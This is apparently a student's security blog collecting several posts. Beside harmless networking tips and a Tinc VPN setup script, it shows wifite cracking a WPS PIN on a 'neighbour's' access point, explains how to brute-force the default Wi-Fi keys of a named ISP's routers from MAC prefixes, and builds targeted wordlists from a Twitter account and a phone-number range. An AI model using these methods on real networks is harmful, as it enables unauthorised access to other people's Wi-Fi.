If you want to try and have troubles with installation, use google.
In couple of hours you will get access to WPA encrypted neighbour's AP.

But there was a good thing too. We learned python on the lessons, and i've looked inside the 'wifite' script, there was a lot of useful stuff!

Let's see:
$wifite

  NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  CoolNet               11  WPA2  66db   wps 
    2  HenP                  11  WPA2  45db   wps 
    3  CIPI                  13  WPA2  43db   wps 
    4  CoolNet2               9  WPA2  40db   wps 
    5  Virus                 11  WPA2  36db   wps 
    6  fani                  11  WPA2  35db   wps 
    7  bbb1950               11  WPA2  33db   wps 
    8  035031801             11  WPA2  30db   wps 
    9  netbox-8845           11  WPA2  29db   wps 
   10  Salon                 11  WPA2  29db    no 
   11  Yeuda                 11  WEP   29db   wps 
   12  niray                 11  WPA2  29db   wps 
   13  Jacob                 11  WEP   29db    no 
   14  Shmueli_Leon          11  WPA2  28db   wps 
   15  gross_zeev 2.4        11  WPA2  27db    no 

 [+] select target numbers (1-15) separated by commas, or 'all': 1

 [+] 1 target selected.

 [0:00:00] initializing WPS PIN attack on CoolNet (F8:1A:67:C8:AB:1E)
 [0:22:47] WPS attack, 357/404 success/ttl, 94.50% complete (3 sec/att)   

 [+] PIN found:     76663919
 [+] WPA key found: testpassword
 [0:08:20] starting wpa handshake capture on "CoolNet"
 [0:00:00] unable to capture handshake in timesent        

 [+] 2 attacks completed:

 [+] 0/2 WPA attacks succeeded
        found CoolNet's WPA key: "testpassword", WPS PIN: 76663919
        

 [+] quitting  

At this time, cracking WPA2 password with WPS PIN attack took 22 minutes. But another try may take 5 hours. Really it does not matter, we have the time.

Why people spend money on things they don't need???

Really, i don't understand.
I study now on awesome Cyber Security Intelligence course, there are so much interesting things..

But there also some people that will never use these techniques.
Worth of this course is about $6000, and what the hell these people sitting in the class, don't understand anything, slowing down the material, and ADMIT, that they will NEVER work in this specialization.
Sorry, but it's fu**ing $6000! Think first and then do something...  

Sorry about this :)

How to get HTTP HEAD request with Python and Bash.

How to get HTTP HEAD request with Python, and get results? Easy.


$python

>>>import requests
>>>r = requests.get('http://google.com')
>>>r.headers

{'alternate-protocol': '80:quic', 'x-xss-protection': '1; mode=block', 'transfer-e
ncoding': 'chunked', 'set-cookie': 'PREF=ID=1f15ab14c12505e8: FF=0:TM=1406501237:L
M=1406501237:S=hHSSoJtgc9dO1MXE; expires=Tue, 26-Jul-2016 22:47:17 GMT; path=/; do
main=.google.co.il, NID=67=D8CbgklOsbelB5ei756y3rTdBBrqAxVON2vpQRxDql2tsw3rq0ANQlc
ndJ8aQ37it9U6ofhaO5xx6wuQOqSX0tHp2QlNREjkwIWtFiXhy_s5L2GLXNKYjE0pkQCs9Fph; expires
=Mon, 26-Jan-2015 22:47:17 GMT; path=/; domain=.google.co.il; HttpOnly', 'expires'
: '-1', 'server': 'gws', 'cache-control': 'private, max-age=0', 'date': 'Sun, 27 J
ul 2014 22:47:17 GMT', 'p3p': 'CP="This is not a P3P policy! See http://www.google
.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."', 'con
tent-type': 'text/html; charset=windows-1255', 'x-frame-options': 'SAMEORIGIN'}

Results depends on parameters you use (follow redirects etc..)
As you can see, type of 'r.headers' is dictionary, so, you can get every value you want by key.
>>>r.headers['server']
'gws'
More info: Python Requests: HTTP for Humans

 

How to get HTTP HEAD with Bash?


$curl --head google.com

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: http://www.google.co.il/?gfe_rd=cr&ei=2YLVU76XNOTa8gf49YGYCw
Content-Length: 261
Date: Sun, 27 Jul 2014 22:53:13 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic

More info: 'man curl'

Two ways of setting Multiple IP Addresses on one interface.

I want to talk about secondary IP addresses on interface in Ubuntu.

Threre is two ways of assigning multiple IP addresses on one interface.
Most of people use the first one:


First method of setting multiple IP Addresses on interface:

 

With root privileges, edit /etc/network/interfaces:
auto eth0
iface eth0 inet static
       address 172.16.100.1
       netmask 255.255.0.0
       gateway 172.16.0.1
       dns-nameservers 8.8.8.8

auto eth0:0
iface eth0:0 inet static
       address 172.16.100.2
       netmask 255.255.0.0

auto eth0:1
iface eth0:1 inet static
       address 172.16.100.3
       netmask 255.255.0.0

 
Save and restart network service.

You can create up-to 254 aliases on one interface (eth0:X)


The second way to set multiple IP Addresses is to use IP command:


$ip addr add 172.16.100.1/16 dev eth0
$ip addr add 172.16.100.2/16 dev eth0
$ip addr add 172.16.100.3/16 dev eth0
$ip addr add 172.16.100.4/16 dev eth0 label eth0:0     #you can label it 'label eth0:0'
$ip addr show dev eth0

2: eth0:  mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 28:d2:44:33:d8:a3 brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.204/16 brd 172.16.255.255 scope global eth0   << this is the primary IP Address
       valid_lft forever preferred_lft forever
    inet 172.16.100.1/16 scope global secondary eth0            << this is secondary
       valid_lft forever preferred_lft forever
    inet 172.16.100.2/16 scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet 172.16.100.3/16 scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet 172.16.100.4/16 scope global secondary eth0:0          << this with label 'eth0:0'
       valid_lft forever preferred_lft forever
    inet6 fe80::2ad2:44ff:fe33:a459/64 scope link 
       valid_lft forever preferred_lft forever



As you can see, in 'ifconfig' output, there is no addresses without label. Only one labeled 'eth0:0'
$ifconfig

eth0      Link encap:Ethernet  HWaddr 28:d2:44:33:a4:59  
          inet addr:172.16.1.204  Bcast:172.16.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:48726 errors:0 dropped:0 overruns:0 frame:0
          TX packets:30127 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:40392826 (40.3 MB)  TX bytes:4955907 (4.9 MB)

eth0:0    Link encap:Ethernet  HWaddr 28:d2:44:33:a4:59           << only labelled is shown. 
          inet addr:172.16.100.4  Bcast:0.0.0.0  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1


Want more?
Get it. it's free: 
Linux Advanced Routing & Traffic Control HOWTO


Thursday, July 24, 2014

How to generate phone number list in one line?

Sometimes need to generate some numbers, like phone numbers. 
And it should to be done quickly!

One line phone numbers generator in bash:
$ echo -e "\n"054{0..9}{0..9}{0..9}{0..9}{0..9}{0..9}{0..9} > phones.txt
$ cat phones.txt |head
0540000000 
0540000001 
0540000002 
0540000003 
0540000004 
0540000005 
0540000006 
0540000007 
0540000008 

$ cat phones.txt |tail
0549999990 
0549999991 
0549999992 
0549999993 
0549999994 
0549999995 
0549999996 
0549999997 
0549999998 
0549999999 

Tinc VPN Setup script (BASH)

In Cyber Security Intelligence Couse, one of the first topics in networking was Tinc VPN.
I coded a little script that will setup your encrypted VPN connection.

Tinc is very useful when you need to set up a VPN quickly.

It is a easy to use, and user friendly :)
 #!/bin/bash

 # Tinc VPN Setup script.
 # Be sure, that your system is accessible from outside your LAN. Otherwise it's waste of time :)
 # By Alexander Korznikov.

 #there are text coloring variables
 bldred='\e[1;31m' # Red
 bldgrn='\e[1;32m' # Green
 bldylw='\e[1;33m' # Yellow
 txtrst='\e[0m'    # Text Reset

 function usage()
 {
 echo ""
 echo ""
 echo -e "$txtcyn Be sure you've installed tinc previously, by$txtgrn apt-get install tinc$txtrst"
 echo ""
 echo -e "$bldred Please note, this stupid script will not check your input!! Check it twice!"
 echo ""
 echo -e "$txtwht By the way, you can view the source and get some useful stuff from it :) $txtrst"
 echo ""
 echo -e "$bldgrn Usage: sudo $0 install$txtrst"
 echo ""
 echo -e "$txtwht\t by Alexander Korznikov, @CSI-7$txtrst"
 }

 function install()
 {

 echo ""
 echo -e "Enter your$bldgrn VPN Name$txtrst (default: myvpn) \c"
 read myvpn
 if [[ $myvpn != "myvpn" ]]
 then
 echo ""
 echo -e "Your VPN Name: \"$bldgrn$myvpn$txtrst\""
 myvpn=$myvpn
 else
 myvpn="myvpn"
 echo ""
 echo -e "Your VPN Name: \"$bldgrn$myvpn$txtrst\""
 fi

 mkdir -p /etc/tinc/$myvpn/hosts
 tincconf="/etc/tinc/$myvpn/tinc.conf"

 echo ""
 echo -e "Enter your host name: \c"
 read name
 echo "Name = $name" > $tincconf
 echo ""
 echo "Setting AddressFamily to ipv4..."
 echo "AddressFamily = ipv4" >> $tincconf
 echo ""
 echo "Setting Interface to \"tun0\"..."
 echo ""
 echo "Interface = tun0" >> $tincconf

 # this checks if you using tinc in internet or local network

 echo ""
 echo -e "Do you setup your VPN on$bldgrn WAN$txtrst or$bldgrn LAN$txtrst network? [wan/lan] \c"
 read answer
 if [[ $answer == "wan" ]]
 then
 wget getmyipaddress.org -O ./inetip.txt -o /dev/null
 myip=`cat inetip.txt |grep 'Your IP Address' | cut -d":" -f2 | sed -e 's, ,,g' |cut -d "<" -f1`
 #rm inetip.txt
 elif [[ $answer == "lan" ]]
 then
 myip=`ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`
 else
 echo "Incorrect answer...exiting!"
 echo ""
 echo "Cleanup..."
 sleep 1
 rm -r /etc/tinc/$myvpn
 exit 0
 fi

 echo -e "For debug.. your IP Address is $bldgrn"$myip"$txtrst..."
 echo ""
 echo "Address = $myip" > /etc/tinc/$myvpn/hosts/$name

 echo -e "Enter your$bldgrn VPN IP address$txtrst [ex. 5.0.0.22]: \c"
 read vpnip
 echo "Subnet = $vpnip/32" >> /etc/tinc/$myvpn/hosts/$name
 echo ""

 #checking if you already have private key for $myvpn

 echo "Removing all previously generated keys for $myvpn..."
 sleep 1
 echo ""

 if [ -e /etc/tinc/$myvpn/rsa_key.priv ]
  then
  rm /etc/tinc/$myvpn/rsa_key.priv
  fi
 echo ""
 echo "Now, we'll generate public/private keys..."
 echo ""
 echo -e "Press Enter to continue... \c"
 read blabla
 tincd -n $myvpn -K4096

 echo "Creating start-up script..."
 sleep 1      #it's just for fun ;)
 echo ""
 echo "!#/bin/bash" > /etc/tinc/$myvpn/tinc-up
 echo "ifconfig \$INTERFACE $vpnip netmask 255.255.255.0" >> /etc/tinc/$myvpn/tinc-up

 chmod +x /etc/tinc/$myvpn/tinc-up

 echo "Creating shutdown script..."
 sleep 1
 echo "!#/bin/bash" > /etc/tinc/$myvpn/tinc-down
 echo "ifconfig \$INTERFACE down" >> /etc/tinc/$myvpn/tinc-down

 chmod +x /etc/tinc/$myvpn/tinc-down

 echo ""
 echo -e "Enter the name you want to connect to [ex. john]: \c"
 read connectto
 echo "ConnectTo = $connectto" >> $tincconf

 echo ""
 echo ""
 echo -e "Now, exchange public keys, and run $bldgrn\"tincd -n $myvpn\"$txtrst"
 echo ""

 if [[ $answer == "wan" ]]
 then
 echo -e "$bldred   Be sure, if your system is accessible from outside.$txtrst"
 echo ""
 fi

 nautilus /etc/tinc/$myvpn/hosts

 echo "Good luck."
 echo ""
 }

 if [[ $1 = "install" ]]
 then
  install
 else
  usage
 fi

Creating dictionary from a Twitter account.

Hi there.
Today will write a simple code in python that will scrape unique words from a Twitter account. For creating a targeted dictionary.

First of all, will find some twitter account:




Next, we need to find out, which field we need to get (with inspect tool):


You can see 'class' named 'ProfileTweet-text js-tweet-text u-dir'. That is what we need.

Let's start coding python:
 import requests
 from bs4 import BeautifulSoup

 r = requests.get('https://twitter.com/CelebWorshipLdr')
 soup = BeautifulSoup(r.content)  #raw html data

The URL is loaded, and passed to BeautifulSoup.

Creating the dictionary:
 a = []
 for i in soup.find_all('p',{'class':'ProfileTweet-text js-tweet-text u-dir'}):
    a += i.text.encode('ascii','ignore').split()

 a = set(a)
 print a
 $ set(['sometimes,', 'saying', 'all', 'ever.', 'background', 'Mumford.'...etc])

That's all. Thank you.

Monday, July 14, 2014

HOTBOX or FiberBOX Wifi Access in Israel

I live in Israel, and work at HOT CATV Company, that provide Internet services.

The prime modem/router that you can get from this company -- "Hotbox DOCSIS 3.0 Cable Modem/Wireless Router", manufactured by SAGEMCOM.

There is new one "FiberBOX" also, that have the same issue explained at bottom.

By Default, WiFi ESSID: HOTBOX-1234 (1234 is last four characters of CM-MAC of the box)

And the password is CM-MAC address.

Lets see all SAGEM MACs:
http://www.adminsubnet.com/mac-address-finder/sagem

As we already know from the ESSID, '1234' are the last four characters of cm-mac, and we know the starting six characters of Vendor ID, we can bruteforce it pretty fast.

For example:
Your neighbour has HOTBOX or Fiberbox (only difference in ESSID: Fiber-1234), with default ESSID 'HOTBOX-1DE4' ok?

We know the starting Vendor ID's (for example):
18622c
2c3996
2ce412
348aae
3c81d8
4c17eb
681590
6c2e85
7c034c
7c03d8

00789e
90013b
94fef4
c0ac54
c0d044
c8cd72
cc33bb
d86ce9
e8be81
e8f1b0
f08261
The last thing that we need to know its 7'th and 8'th character.
So, make a simple bash script that will capture 'handshake', then create a dictionary with all possible MACs, and bruteforce that 'handshake' with pyrit (for example). 
I promise, it will not take more than 10 seconds to crack the handshake.

Maybe i will post a script in next posts.

Ok, let's start!

Finally, i've decided to post something.. There is so many, thoughts in my mind.

Ok. I'm Alexander Korznikov, study at CSI course. (Cyber Security Intelligence).
For now, 1/3 of the course is passed.. and i'll try to uncover some topics in next posts.
Hope it will be useful :)